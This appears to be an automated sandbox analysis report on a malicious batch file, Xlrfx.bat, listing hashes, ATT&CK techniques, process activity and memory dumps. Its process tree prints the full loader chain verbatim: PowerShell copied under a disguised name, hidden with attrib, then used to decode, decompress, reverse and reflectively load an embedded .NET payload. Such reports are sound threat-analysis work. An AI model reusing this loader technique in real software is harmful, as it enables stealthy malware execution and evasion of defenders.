c8b23374cfaebcceb230474be736c7d7c012c073a9c253bcf3dec1a26c920079

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
15-05-2024 10:56

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General

Target

Xlrfx.bat
Size

2.5MB
MD5

044b5f7f1996339fb95ab61afe9ce63b
SHA1

9b1ad4a81ae03ebb25d252eb12473dfe667af900
SHA256

c8b23374cfaebcceb230474be736c7d7c012c073a9c253bcf3dec1a26c920079
SHA512

77faaa93f02be4925d7238b63bc3651525f4438f70231173944aa71c1dc3429cbc9905cdaaf7eec454bd08f7e12b81424cf6db4021615e52a79635078817d948
SSDEEP

49152:Bio8vLA4esjKTI2VerQB+Mctxbqrhl8ManSazNv:o

Score

8^/10

evasion

Malware Config

Signatures

Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

2924 attrib.exe
Executes dropped EXE 1 IoCs

Processes:

Xlrfx.bat.Nsg

pid process

1496 Xlrfx.bat.Nsg
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

Xlrfx.bat.Nsg

pid process

1496 Xlrfx.bat.Nsg
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

Xlrfx.bat.Nsg

pid process

1496 Xlrfx.bat.Nsg
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Xlrfx.bat.Nsg

description pid process

Token: SeDebugPrivilege 1496 Xlrfx.bat.Nsg

pid	process
2924	attrib.exe

pid	process
1496	Xlrfx.bat.Nsg

pid	process
1496	Xlrfx.bat.Nsg

pid	process
1496	Xlrfx.bat.Nsg

description	pid	process
Token: SeDebugPrivilege	1496	Xlrfx.bat.Nsg

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2224 wrote to memory of 2200	2224	cmd.exe	cmd.exe
PID 2224 wrote to memory of 2200	2224	cmd.exe	cmd.exe
PID 2224 wrote to memory of 2200	2224	cmd.exe	cmd.exe
PID 2224 wrote to memory of 1716	2224	cmd.exe	xcopy.exe
PID 2224 wrote to memory of 1716	2224	cmd.exe	xcopy.exe
PID 2224 wrote to memory of 1716	2224	cmd.exe	xcopy.exe
PID 2224 wrote to memory of 2924	2224	cmd.exe	attrib.exe
PID 2224 wrote to memory of 2924	2224	cmd.exe	attrib.exe
PID 2224 wrote to memory of 2924	2224	cmd.exe	attrib.exe
PID 2224 wrote to memory of 1496	2224	cmd.exe	Xlrfx.bat.Nsg
PID 2224 wrote to memory of 1496	2224	cmd.exe	Xlrfx.bat.Nsg
PID 2224 wrote to memory of 1496	2224	cmd.exe	Xlrfx.bat.Nsg
PID 2224 wrote to memory of 1496	2224	cmd.exe	Xlrfx.bat.Nsg

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

2924 attrib.exe

pid	process
2924	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2224

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
2⤵
PID:2200

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg
2⤵
PID:1716

C:\Windows\system32\attrib.exe
attrib +s +h C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg
2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:2924

C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg
C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg -WindowStyle hidden -command "$Eshusr = Get-Content 'C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat' | select-object -Last 1; $Yhyoxigy = [System.Convert]::FromBase64String($Eshusr);$Uneafks = New-Object System.IO.MemoryStream( , $Yhyoxigy );$Iaohomn = New-Object System.IO.MemoryStream;$Bydqksifw = New-Object System.IO.Compression.GzipStream $Uneafks, ([IO.Compression.CompressionMode]::Decompress);$Bydqksifw.CopyTo( $Iaohomn );$Bydqksifw.Close();$Uneafks.Close();[byte[]] $Yhyoxigy = $Iaohomn.ToArray();[Array]::Reverse($Yhyoxigy); $Pbdppxx = [System.Threading.Thread]::GetDomain().Load($Yhyoxigy); $Izgbjcqwat = $Pbdppxx.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"
2⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1496

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg
Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/1496-5-0x0000000074C41000-0x0000000074C42000-memory.dmp

Filesize
4KB

Download
memory/1496-6-0x0000000074C40000-0x00000000751EB000-memory.dmp

Filesize
5.7MB

Download
memory/1496-7-0x0000000074C40000-0x00000000751EB000-memory.dmp

Filesize
5.7MB

Download
memory/1496-8-0x0000000074C40000-0x00000000751EB000-memory.dmp

Filesize
5.7MB

Download
memory/1496-9-0x0000000074C40000-0x00000000751EB000-memory.dmp

Filesize
5.7MB

Download
memory/1496-10-0x0000000074C40000-0x00000000751EB000-memory.dmp

Filesize
5.7MB

Download